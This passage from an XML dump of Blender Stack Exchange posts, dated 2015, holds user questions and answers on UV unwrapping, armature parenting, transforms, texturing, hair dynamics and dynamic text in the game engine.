Active Quads&lt;/em&gt;&lt;/strong&gt; method. Select the whole mesh (&lt;kbd&gt;A&lt;/kbd&gt;), then press &lt;kbd&gt;U&lt;/kbd&gt;--&gt;&lt;em&gt;Follow Active Quads&lt;/em&gt;--&gt;&lt;em&gt;Lenght Average&lt;/em&gt;--&gt;&lt;em&gt;OK&lt;/em&gt;.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/39gf2.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/39gf2.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result of the unwrapping (after you scale the UV island) may be something like this.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/byVlV.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/byVlV.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you have quite even distribution of the texture and there is no distortion.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/BDEhy.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BDEhy.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastActivityDate="2015-08-04T17:02:34.940" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35084" PostTypeId="1" AcceptedAnswerId="35087" CreationDate="2015-08-04T17:10:59.163" Score="2" ViewCount="16325" Body="&lt;p&gt;I deleted a armature without unparenting it, and now it is affecting my particle system for some reason. The hair particles do not look like they do in particle edit mode, they go in all kinds of directions. Before I parented the armature, they did not do that. What should I do?&lt;/p&gt;&#xA;" OwnerUserId="13828" LastActivityDate="2019-06-29T14:06:56.053" Title="How to unparent a deleted armature?" Tags="&lt;armature&gt;&lt;parent&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35085" PostTypeId="1" CreationDate="2015-08-04T17:15:44.760" Score="1" ViewCount="61" Body="&lt;p&gt;While placing keyframes in the timeline it is possible to move the time marker (green vertical line) without evaluating the animation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my object, I have some keyframes values that I want to be exactly the same, some keyframes later. This is to hold the position of my object before moving it after a certain amount of time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Coming from Maya this was possible. Is this possible too in Blender?&lt;/p&gt;&#xA;" OwnerUserId="16146" LastEditorUserId="2217" LastEditDate="2015-08-04T17:24:01.033" LastActivityDate="2015-08-04T17:24:01.033" Title="Timeline: advancing time without evaluating time" Tags="&lt;animation&gt;&lt;keyframes&gt;&lt;timeline&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35087" PostTypeId="2" ParentId="35084" CreationDate="2015-08-04T17:33:17.847" Score="8" Body="&lt;p&gt;there are 3 things you can do manually, both in properties panel :  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Remove the armature modifier (click the 'X')&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/sz3Wr.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sz3Wr.jpg&quot; alt=&quot;arma modifier&quot;&gt;&lt;/a&gt;  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;remove the parent manually in object properties (click the 'X')&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/LNa2l.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LNa2l.jpg&quot; alt=&quot;object parent&quot;&gt;&lt;/a&gt;  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;remove the armature related vertex group in object data tab (select a group and click the '-' button)&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/sDv2U.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sDv2U.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="11431" LastEditorUserId="11431" LastEditDate="2015-08-04T18:20:29.027" LastActivityDate="2015-08-04T18:20:29.027" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35089" PostTypeId="2" ParentId="35076" CreationDate="2015-08-04T17:41:37.807" Score="0" Body="&lt;p&gt;One possible way is to import 1 mesh. Create a shape key as a base shape key. Import a second compatible mesh. Select the second mesh, and then shift+select the original base mesh, and on shape keys panel, click &quot;Join as Shapes&quot;. Repeat to join all shape keys to 1 base mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try using THREE js to shift to one of the morph targets, then export multiple OBJ files and join them all in blender.&lt;/p&gt;&#xA;" OwnerUserId="4960" LastActivityDate="2015-08-04T17:41:37.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35090" PostTypeId="1" AcceptedAnswerId="35092" CreationDate="2015-08-04T18:59:56.230" Score="5" ViewCount="3221" Body="&lt;p&gt;See attached picture. How do I move the wedge(s) directly away from the &quot;circle&quot; center, along the same plane?&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/lkUQQ.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lkUQQ.jpg&quot; alt=&quot;mesh objects to transform&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="739" LastEditorUserId="2217" LastEditDate="2015-08-04T19:03:53.143" LastActivityDate="2015-08-04T19:51:29.940" Title="How to move wedge directly away from center?" Tags="&lt;objects&gt;&lt;transforms&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35091" PostTypeId="2" ParentId="35047" CreationDate="2015-08-04T19:04:23.320" Score="1" Body="&lt;p&gt;I've solved it by simply putting an always &gt; and &gt; action, this will play separately on all objects.&lt;/p&gt;&#xA;" OwnerUserId="1597" LastActivityDate="2015-08-04T19:04:23.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35092" PostTypeId="2" ParentId="35090" CreationDate="2015-08-04T19:15:10.123" Score="8" Body="&lt;p&gt;One way is with the &lt;em&gt;Manipulate Origins&lt;/em&gt; option:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zpCTy.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zpCTy.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Center the origin of the wedge(s) by pressing &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;&lt;em&gt;&gt; &lt;a href=&quot;http://blender.org/manual/modeling/objects/introduction.html#object-centers&quot; rel=&quot;noreferrer&quot;&gt;Origin to Geometry&lt;/a&gt;&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Enable &lt;em&gt;Manipulate Center Points&lt;/em&gt; (&lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;&lt;code&gt;,&lt;/code&gt;&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Set the &lt;a href=&quot;http://blender.org/manual/getting_started/basics/transformations/transform_control/pivot_point/index.html&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Pivot Point&lt;/em&gt;&lt;/a&gt; to &lt;a href=&quot;http://blender.org/manual/getting_started/basics/transformations/transform_control/pivot_point/3d_cursor.html&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;3D cursor&lt;/em&gt;&lt;/a&gt; (&lt;kbd&gt;&lt;code&gt;.&lt;/code&gt;&lt;/kbd&gt;). Ensure the cursor is in the center of the circle.&lt;/li&gt;&#xA;&lt;li&gt;In object mode with the wedge(s) selected, scale them outward (&lt;kbd&gt;S&lt;/kbd&gt;).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This works for multiple wedges at once:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rWSEL.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rWSEL.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2015-08-04T19:20:49.077" LastActivityDate="2015-08-04T19:20:49.077" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35093" PostTypeId="2" ParentId="35090" CreationDate="2015-08-04T19:16:27.797" Score="4" Body="&lt;p&gt;You know that your wedge is 60°.&lt;br&gt;&#xA;So first set the pivot point to &lt;em&gt;3D cursor&lt;/em&gt;, then rotate the wedge in edit mode 30° (so it is straight along the Y axis). Then in object mode mode rotate it back 30° to its original spot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then when you change the Transform Orientation to &lt;em&gt;Local&lt;/em&gt; you can move the wedge out from the center.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zRSmz.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zRSmz.gif&quot; alt=&quot;animated gif&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works for multiple wedges at once&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/V1fmL.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/V1fmL.gif&quot; alt=&quot;animated gif&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2015-08-04T19:27:57.873" LastActivityDate="2015-08-04T19:27:57.873" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35094" PostTypeId="2" ParentId="35090" CreationDate="2015-08-04T19:24:24.047" Score="3" Body="&lt;p&gt;Select one piece and enter the &lt;em&gt;Edit Mode&lt;/em&gt;. Change the transformation type to &lt;strong&gt;&lt;em&gt;Normal&lt;/em&gt;&lt;/strong&gt;. You can now change the place of the pieces without moving the origin point.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/jh1Xm.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jh1Xm.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-08-04T19:51:29.940" LastActivityDate="2015-08-04T19:51:29.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35095" PostTypeId="1" CreationDate="2015-08-04T19:33:58.843" Score="1" ViewCount="80" Body="&lt;p&gt;I have a script that processes all parts of a list each frame, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;can I thread the list ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/60016/python&quot; rel=&quot;nofollow&quot;&gt;http://www.pasteall.org/60016/python&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to process X parts of the list at a time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="13034" LastActivityDate="2015-08-04T19:33:58.843" Title="Can I process a list against a python script using multiprocessing module?" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="0" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35096" PostTypeId="1" AcceptedAnswerId="35164" CreationDate="2015-08-04T20:06:28.170" Score="2" ViewCount="3487" Body="&lt;p&gt;I am trying to build my own spaceship according to the spaceship tutorial created by BlenderGuru.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there' s a problem with the UV map I have created for the spaceship.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/MdvGi.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MdvGi.png&quot; alt=&quot;model, UVs, material nodes&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, I have already added the image to the node editor and connected it to a displacement socket and added the image to the UV image editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am clueless what might cause the problem. Maybe you could help me to solve this problem.&#xA;Here' s an additional image of the UV map I've created for the spaceship.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/eAEl5.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eAEl5.jpg&quot; alt=&quot; texture map&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the .blend file:&lt;br&gt;&#xA;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/398/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=398&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16148" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2015-08-05T23:32:53.023" Title="UV map not applying on Object" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;uv&gt;" AnswerCount="3" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="35097" PostTypeId="2" ParentId="35096" CreationDate="2015-08-04T20:13:03.297" Score="-1" Body="&lt;p&gt;In the texture tab, do you have UV mode selected?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for nodes you will need to use the output from the object&#xA;node UV&lt;/p&gt;&#xA;" OwnerUserId="13034" LastActivityDate="2015-08-04T20:13:03.297" CommentCount="18" ContentLicense="CC BY-SA 3.0" />
  <row Id="35099" PostTypeId="1" CreationDate="2015-08-04T20:36:53.457" Score="0" ViewCount="1044" Body="&lt;p&gt;All i did was add new material to a plane mesh, then i applied a image texture. why does it look like this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gCXuw.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gCXuw.jpg&quot; alt=&quot;image texture on plane mesh&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15133" LastActivityDate="2015-08-04T20:51:41.910" Title="why is my texture split and not one image?" Tags="&lt;texturing&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35100" PostTypeId="2" ParentId="35099" CreationDate="2015-08-04T20:51:41.910" Score="1" Body="&lt;p&gt;Thanks to Glady's comment i have discovered that my mesh what not UV unwrapped. This done by going into edit mode click U on the keyboard, followed by selecting &quot;UV unwrap.&quot;&lt;/p&gt;&#xA;" OwnerUserId="15133" LastActivityDate="2015-08-04T20:51:41.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35101" PostTypeId="1" CreationDate="2015-08-04T21:02:03.710" Score="5" ViewCount="162" Body="&lt;p&gt;I was naming bones while rigging my model. While typing a bone name I saw my model move upwards without my knowing command. I eventually found it from a speck in the far distance. I scrolled it in successfully. But now it fails to respond to &quot;View&quot; commands. If I hit &quot;7&quot; for aerial view it disappears....again I find it as a speck and scroll it in. This happens with all &quot;view&quot; commands...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I do locate it and try to drag it around it is as if there is a pivot point miles away and the slightest grab and drag sends it into oblivion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My pivot point is set on default and my manipulator is set to Global. My model stays in the correct position on the grid all the time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="16056" LastActivityDate="2015-08-04T21:07:35.247" Title="My Model disappears into the Blender Universe" Tags="&lt;3d-view&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35102" PostTypeId="2" ParentId="35101" CreationDate="2015-08-04T21:07:35.247" Score="5" Body="&lt;p&gt;try to select your model and press the period key on your numpad &lt;/p&gt;&#xA;" OwnerUserId="15366" LastActivityDate="2015-08-04T21:07:35.247" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35103" PostTypeId="1" CreationDate="2015-08-04T21:28:58.243" Score="1" ViewCount="1254" Body="&lt;p&gt;I wanted to check out an interesting addon I found on the web. So I copied the script and saved it where it should be, but then when I tried enabling it in Blender it gave me This error. (&lt;em&gt;the addon is Asset Flinger&lt;/em&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mEPYU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mEPYU.png&quot; alt=&quot;error message&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/29op7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/29op7.png&quot; alt=&quot;error message&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15366" LastEditorUserId="2217" LastEditDate="2015-08-04T21:45:43.227" LastActivityDate="2015-08-04T21:45:43.227" Title="Error Enabling Blender Addon" Tags="&lt;add-on&gt;&lt;path&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35104" PostTypeId="1" CreationDate="2015-08-04T22:40:33.663" Score="1" ViewCount="675" Body="&lt;p&gt;I have DXF files from Gerber which I want to import in Blender for 3D simulation. How can I do that?&lt;/p&gt;&#xA;" OwnerUserId="16149" LastActivityDate="2015-08-04T23:54:49.637" Title="How can I import Gerber DXF pattern into blender?" Tags="&lt;import&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2015-08-05T00:12:43.010" ContentLicense="CC BY-SA 3.0" />
  <row Id="35105" PostTypeId="1" AcceptedAnswerId="35143" CreationDate="2015-08-04T23:48:20.817" Score="2" ViewCount="3954" Body="&lt;p&gt;i am trying to render a one of the mesh primitives, specifically a cube, with an image texture that has texture paint on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i succeeded in rendering my cube with the image texture by checking 'face textures' in the found in the 'options' section of the 'materials' tab, but when i added my texture paint over the image Blender rendered a black cube.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;why and how could this happen?&lt;a href=&quot;https://i.stack.imgur.com/07NxH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/07NxH.png&quot; alt=&quot;not the desired render result&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/q46Hv.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/q46Hv.png&quot; alt=&quot;desired render result&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15133" LastActivityDate="2015-08-05T17:31:28.833" Title="why is my image texture with texture not displaying properly?" Tags="&lt;rendering&gt;&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="35106" PostTypeId="2" ParentId="35104" CreationDate="2015-08-04T23:54:49.637" Score="0" Body="&lt;p&gt;In the info bar at the top left hand of the blender program try 'file', then 'import' the find AutoCAD DXF. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;try it and keep me posted.&lt;/p&gt;&#xA;" OwnerUserId="15133" LastActivityDate="2015-08-04T23:54:49.637" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35107" PostTypeId="1" CreationDate="2015-08-05T00:32:12.810" Score="1" ViewCount="381" Body="&lt;p&gt;I've had a lot of problems with dynamic texts and I've been looking for a solution. I've just been wondering, for dynamic texts in the BGE, can I use .png files or not? What would I use? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1597" LastActivityDate="2015-08-06T05:58:38.260" Title="What image file do I use for dynamic text?" Tags="&lt;texturing&gt;&lt;game-engine&gt;&lt;uv&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35108" PostTypeId="1" AcceptedAnswerId="35122" CreationDate="2015-08-05T01:20:51.640" Score="5" ViewCount="122" Body="&lt;p&gt;I have a simple plane that acts as a health bar in my HUD. I am putting a texture on it, but when the plane scales down the texture also does. How can I have the texture not affected by scaling? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1597" LastActivityDate="2015-08-05T11:01:54.427" Title="Texture that doesn't get affected by scaling?" Tags="&lt;animation&gt;&lt;texturing&gt;&lt;game-engine&gt;&lt;uv&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35109" PostTypeId="1" CreationDate="2015-08-05T01:46:41.217" Score="3" ViewCount="829" Body="&lt;p&gt;I'm currently working on a character model, and the tutorials I'm working from use a slightly older version of Blender (2.73, I believe?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Hair Dynamics tab in 2.75a is substantially different, and appears much less intuitive. When it bakes the hair dynamics, there is no collision with the actual emitter mesh (i.e., that character); it simply falls into the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried adjusting the physics parameters in the emitter mesh for soft body and cloth with no result, and all the tutorials I've found on YouTube thus far are for hair particles colliding with meshes other than the emitter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I enable the hair to collide with the emitter mesh?&lt;/p&gt;&#xA;" OwnerUserId="16152" LastEditorUserId="2217" LastEditDate="2015-08-05T02:57:54.873" LastActivityDate="2017-05-10T20:32:19.690" Title="Hair Dynamics not colliding with emitter 2.75a" Tags="&lt;objects&gt;&lt;physics&gt;&lt;particles&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35110" PostTypeId="2" ParentId="35096" CreationDate="2015-08-05T02:45:22.413" Score="1" Body="&lt;p&gt;Try adding a &lt;em&gt;UV map&lt;/em&gt; node and plugging it into the image texture's &lt;em&gt;vector&lt;/em&gt; input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WrC9D.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WrC9D.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more on texture coordinates see &lt;a href=&quot;https://blender.stackexchange.com/a/23174/5705&quot;&gt;this answer&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.850" LastActivityDate="2015-08-05T02:45:22.413" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35111" PostTypeId="2" ParentId="35109" CreationDate="2015-08-05T03:02:42.310" Score="1" Body="&lt;p&gt;The previous hair system calculated mass much differently, so by reducing the mass significantly (from 1.0 to 0.1), the hair didn't fall through the mesh in as many places. Tweaking the mass seems to help fix the issue, although weight painting the hair strands is required and tweaking the collision properties of the emitter.&lt;/p&gt;&#xA;" OwnerUserId="16152" LastActivityDate="2015-08-05T03:02:42.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35112" PostTypeId="1" CreationDate="2015-08-05T03:51:44.093" Score="2" ViewCount="1529" Body="&lt;p&gt;Almost everything is in the question. I've been browsing the web for a while and couldn't find out a way to hide or at least disable the Properties &lt;code&gt;Transform Panel&lt;/code&gt; of the 'View_3D' area. Is there a way to redraw (override the draw) entirely this Panel, by the way? I need the user to be unable to transform the objects otherwise, but by using my custom tools. I've been able to remove every other Panel but this one. Any brilliant idea?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, is there a way to simply remove this whole area (and replace it by a new fresh one), or even better redraw completely the area?&lt;/p&gt;&#xA;" OwnerUserId="15348" LastActivityDate="2021-04-17T18:53:14.563" Title="Hiding transform panel from 3D view properties 'UI' Panel from user?" Tags="&lt;python&gt;&lt;3d-view&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35113" PostTypeId="1" CreationDate="2015-08-05T04:01:23.250" Score="1" ViewCount="373" Body="&lt;p&gt;I am new to Blender, and when I change the render options from  &quot;blender render&quot; to &quot;cycles render&quot;, my blender quits itself, and I have to reopen it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My blender is the latest version (2.75a), and my computer is a 64bits Windows 7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anyone please advise me on this issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best,&#xA;Matthew&lt;/p&gt;&#xA;" OwnerUserId="16153" LastActivityDate="2015-08-06T15:45:40.533" Title="My Blender quits after I switch to &quot;cycles render&quot;" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="4" ClosedDate="2015-08-05T15:28:36.463" ContentLicense="CC BY-SA 3.0" />
  <row Id="35114" PostTypeId="1" CreationDate="2015-08-05T04:42:37.527" Score="0" ViewCount="219" Body="&lt;p&gt;I am making a room in the blender game engine. I created corner, side and middle pieces. With linked copies of those pieces I assembled a room. The floors in the corner, side and middle pieces are exactly the same texture and material (seamless tiles image file) and in the viewport the floor of all pieces looks exactly the same. However, when I go into game mode ('p') suddenly the floor texture of the middle pieces shifts a little. How is this possible? Since they all use the same material and they are linked copies, the floor should look the same in all pieces right? GLSL is enabled. &#xA;In response to Monster's comment, I hereby add images: &#xA;Picture of Viewport: &lt;a href=&quot;http://s1180.photobucket.com/user/knyntje/media/Work-related/game_mode_zpsabit55gz.jpg.html&quot; rel=&quot;nofollow&quot;&gt;http://s1180.photobucket.com/user/knyntje/media/Work-related/game_mode_zpsabit55gz.jpg.html&lt;/a&gt; and of game mode: &lt;a href=&quot;http://s1180.photobucket.com/user/knyntje/media/Work-related/3Dviewport_zpszy8j3ue0.jpg.html&quot; rel=&quot;nofollow&quot;&gt;http://s1180.photobucket.com/user/knyntje/media/Work-related/3Dviewport_zpszy8j3ue0.jpg.html&lt;/a&gt;&#xA;Best, Nynke&lt;/p&gt;&#xA;" OwnerUserId="16155" LastEditorUserId="16155" LastEditDate="2015-08-05T06:28:39.287" LastActivityDate="2015-08-06T04:59:03.957" Title="Texture/material mapping changes from viewport to render (p)" Tags="&lt;texturing&gt;&lt;game-engine&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="35115" PostTypeId="2" ParentId="35107" CreationDate="2015-08-05T05:20:08.903" Score="1" Body="&lt;p&gt;There are two methods to show dynamic text with the BGE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Textobjects&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5udIc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5udIc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They are easy to setup. You add the textobject, set the text in edit mode and start the game. Changing the text in game can be done via setting the attribute &quot;text&quot; in Python:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;textObject = bge.logic.getCurrentController().owner&#xA;textObject.text = &quot;my new text&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or if configured by setting a property called &quot;Text&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/60YCG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/60YCG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/KWQo4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KWQo4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The faces of the resulting object consists of several quads. The texture is rendered from an font while the game is running. You do no have access to the quads nor the textures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Bitmaptext&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was the method before introducing the text objects (see above). A bitmap text object is a plain plane object. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/yksqM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yksqM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need a specific material 